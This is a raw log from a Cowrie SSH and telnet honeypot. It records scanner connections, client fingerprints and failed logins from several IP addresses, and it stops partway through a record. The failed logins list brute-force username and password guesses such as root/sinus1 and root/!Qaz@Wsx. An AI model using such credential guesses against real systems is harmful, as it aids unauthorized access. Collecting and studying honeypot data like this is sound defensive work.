{"eventid":"cowrie.login.failed","username":"root","password":"sinus1","message":"login attempt [root/sinus1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:21.701066Z","src_ip":"23.249.28.115","session":"0241b4bd5b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:21.873182Z","src_ip":"82.152.132.24","session":"a7ee6d0e4c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:22.332125Z","src_ip":"176.65.132.129","session":"c499363164b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:22.894341Z","src_ip":"23.249.28.115","session":"0241b4bd5b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44292,"dst_ip":"159.203.135.109","dst_port":22,"session":"87bb7fcd1437","protocol":"ssh","message":"New connection: 176.65.132.129:44292 (159.203.135.109:22) [session: 87bb7fcd1437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:24.096863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:24.103848Z","src_ip":"176.65.132.129","session":"87bb7fcd1437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:24.206097Z","src_ip":"176.65.132.129","session":"87bb7fcd1437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:24.455595Z","src_ip":"176.65.132.129","session":"87bb7fcd1437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":43084,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2e3143a0133","protocol":"ssh","message":"New connection: 77.94.47.83:43084 (159.203.135.109:22) [session: a2e3143a0133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:25.491554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:25.496758Z","src_ip":"77.94.47.83","session":"a2e3143a0133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:25.598827Z","src_ip":"176.65.132.129","session":"87bb7fcd1437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:25.617467Z","src_ip":"77.94.47.83","session":"a2e3143a0133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345trewq","message":"login attempt [root/12345trewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:25.977892Z","src_ip":"77.94.47.83","session":"a2e3143a0133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:27.099565Z","src_ip":"77.94.47.83","session":"a2e3143a0133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46450,"dst_ip":"159.203.135.109","dst_port":22,"session":"59ff4c91e72e","protocol":"ssh","message":"New connection: 176.65.132.129:46450 (159.203.135.109:22) [session: 59ff4c91e72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:27.202554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:27.207614Z","src_ip":"176.65.132.129","session":"59ff4c91e72e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:27.289388Z","src_ip":"176.65.132.129","session":"59ff4c91e72e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:27.536052Z","src_ip":"176.65.132.129","session":"59ff4c91e72e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b18fa4216fb","protocol":"telnet","message":"New connection: 152.42.224.71:43584 (10.17.0.5:23) [session: 6b18fa4216fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:28.574105Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:28.620953Z","src_ip":"176.65.132.129","session":"59ff4c91e72e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43592,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b4066462f9","protocol":"telnet","message":"New connection: 152.42.224.71:43592 (10.17.0.5:23) [session: 60b4066462f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:28.993223Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43596,"dst_ip":"10.17.0.5","dst_port":23,"session":"26769c7f24a5","protocol":"telnet","message":"New connection: 152.42.224.71:43596 (10.17.0.5:23) [session: 26769c7f24a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:29.161155Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46466,"dst_ip":"159.203.135.109","dst_port":22,"session":"1237c15cddf8","protocol":"ssh","message":"New connection: 176.65.132.129:46466 (159.203.135.109:22) [session: 1237c15cddf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:30.437630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:30.446246Z","src_ip":"176.65.132.129","session":"1237c15cddf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:30.530231Z","src_ip":"176.65.132.129","session":"1237c15cddf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:30.893311Z","src_ip":"176.65.132.129","session":"1237c15cddf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:31.977742Z","src_ip":"176.65.132.129","session":"1237c15cddf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.84566593170166,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:32.572593Z","src_ip":"152.42.224.71","session":"da46ba4875f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46476,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ff3428354a7","protocol":"ssh","message":"New connection: 176.65.132.129:46476 (159.203.135.109:22) [session: 9ff3428354a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:33.732941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:33.737626Z","src_ip":"176.65.132.129","session":"9ff3428354a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:33.819925Z","src_ip":"176.65.132.129","session":"9ff3428354a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:34.066342Z","src_ip":"176.65.132.129","session":"9ff3428354a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.81667709350586,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:34.532761Z","src_ip":"152.42.224.71","session":"89c07bd33d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":52036,"dst_ip":"159.203.135.109","dst_port":22,"session":"68a25ec91f90","protocol":"ssh","message":"New connection: 101.32.240.31:52036 (159.203.135.109:22) [session: 68a25ec91f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:34.623713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:34.627723Z","src_ip":"101.32.240.31","session":"68a25ec91f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:34.867482Z","src_ip":"101.32.240.31","session":"68a25ec91f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43610,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f6ac3fc2944","protocol":"telnet","message":"New connection: 152.42.224.71:43610 (10.17.0.5:23) [session: 7f6ac3fc2944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:35.121790Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:35.153582Z","src_ip":"176.65.132.129","session":"9ff3428354a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"conan","message":"login attempt [root/conan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:35.853813Z","src_ip":"101.32.240.31","session":"68a25ec91f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":47238,"dst_ip":"10.17.0.5","dst_port":22,"session":"87f9bd7fbbfd","protocol":"ssh","message":"New connection: 103.15.222.183:47238 (10.17.0.5:22) [session: 87f9bd7fbbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:36.456214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:36.461307Z","src_ip":"103.15.222.183","session":"87f9bd7fbbfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:36.708179Z","src_ip":"103.15.222.183","session":"87f9bd7fbbfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.08320617675781,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:36.825174Z","src_ip":"152.42.224.71","session":"7b53e65d628c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36712,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a70ddd2207e","protocol":"ssh","message":"New connection: 176.65.132.129:36712 (159.203.135.109:22) [session: 8a70ddd2207e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:36.889568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:36.894475Z","src_ip":"176.65.132.129","session":"8a70ddd2207e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-s